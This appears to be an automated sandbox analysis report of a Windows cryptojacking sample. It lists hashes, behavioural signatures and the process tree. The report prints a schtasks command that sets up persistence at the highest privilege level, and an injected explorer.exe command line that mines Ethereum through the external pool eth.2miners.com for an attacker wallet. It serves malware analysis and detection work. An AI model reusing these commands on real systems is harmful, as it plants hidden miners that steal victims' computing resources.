Analysis
-
max time kernel
299s -
max time network
183s -
platform
windows10_x64 -
resource
win10-20220414-en -
submitted
05-07-2022 22:17
Static task
static1
Behavioral task
behavioral1
Sample
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Resource
win10-20220414-en
General
-
Target
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
-
Size
942KB
-
MD5
a92015618b79adee683000eaaaa30c83
-
SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75
-
SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
-
SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
Malware Config
Signatures
-
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
BKIVNA.exeBKIVNA.exepid process 3868 BKIVNA.exe 5000 BKIVNA.exe -
Processes:
resource yara_rule behavioral2/memory/1508-127-0x0000000140000000-0x0000000142EFE000-memory.dmp upx behavioral2/memory/1508-129-0x0000000140000000-0x0000000142EFE000-memory.dmp upx -
Suspicious use of SetThreadContext 1 IoCs
Processes:
BKIVNA.exedescription pid process target process PID 3868 set thread context of 1508 3868 BKIVNA.exe explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 3632 timeout.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
BKIVNA.exepid process 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe 3868 BKIVNA.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exeBKIVNA.exedescription pid process Token: SeDebugPrivilege 2548 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe Token: SeDebugPrivilege 3868 BKIVNA.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.execmd.exeBKIVNA.execmd.exedescription pid process target process PID 2548 wrote to memory of 2764 2548 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe cmd.exe PID 2548 wrote to memory of 2764 2548 239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe cmd.exe PID 2764 wrote to memory of 3632 2764 cmd.exe timeout.exe PID 2764 wrote to memory of 3632 2764 cmd.exe timeout.exe PID 2764 wrote to memory of 3868 2764 cmd.exe BKIVNA.exe PID 2764 wrote to memory of 3868 2764 cmd.exe BKIVNA.exe PID 3868 wrote to memory of 4220 3868 BKIVNA.exe cmd.exe PID 3868 wrote to memory of 4220 3868 BKIVNA.exe cmd.exe PID 4220 wrote to memory of 4388 4220 cmd.exe schtasks.exe PID 4220 wrote to memory of 4388 4220 cmd.exe schtasks.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe PID 3868 wrote to memory of 1508 3868 BKIVNA.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe"C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp78AF.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\ProgramData\win32\BKIVNA.exe"C:\ProgramData\win32\BKIVNA.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --algo ETHASH --pool eth.2miners.com:2020 --user 0xd3e33ee5d3c0be3da5f6a9516fd52bc9a877677b.RIGA_14⤵
-
C:\ProgramData\win32\BKIVNA.exeC:\ProgramData\win32\BKIVNA.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\win32\BKIVNA.exeFilesize
942KB
MD5a92015618b79adee683000eaaaa30c83
SHA1fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA5125a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
-
C:\ProgramData\win32\BKIVNA.exeFilesize
942KB
MD5a92015618b79adee683000eaaaa30c83
SHA1fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA5125a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
-
C:\ProgramData\win32\BKIVNA.exeFilesize
942KB
MD5a92015618b79adee683000eaaaa30c83
SHA1fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA5125a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65
-
C:\Users\Admin\AppData\Local\Temp\tmp78AF.tmp.batFilesize
140B
MD58f65663511fed6cc12369bbfcd2f4c4a
SHA17dbe34d6757386e9b0d05a631a9568154a4b9695
SHA2562676d1f8472ac3a359724e2e09ac72e669b435346abd7438c0f1179ff1e12462
SHA51224fce0619ac3501d8494798ce86604f18afa451903ef6dac2b73a42c16f72316e54c2d72508c1a9798317a1789c035ce2137537a06fe2db7169daaf63732f171
-
memory/1508-127-0x0000000140000000-0x0000000142EFE000-memory.dmpFilesize
47.0MB
-
memory/1508-128-0x0000000142EFC000-mapping.dmp
-
memory/1508-129-0x0000000140000000-0x0000000142EFE000-memory.dmpFilesize
47.0MB
-
memory/2548-118-0x0000000000C80000-0x0000000000D70000-memory.dmpFilesize
960KB
-
memory/2764-119-0x0000000000000000-mapping.dmp
-
memory/3632-121-0x0000000000000000-mapping.dmp
-
memory/3868-122-0x0000000000000000-mapping.dmp
-
memory/4220-125-0x0000000000000000-mapping.dmp
-
memory/4388-126-0x0000000000000000-mapping.dmp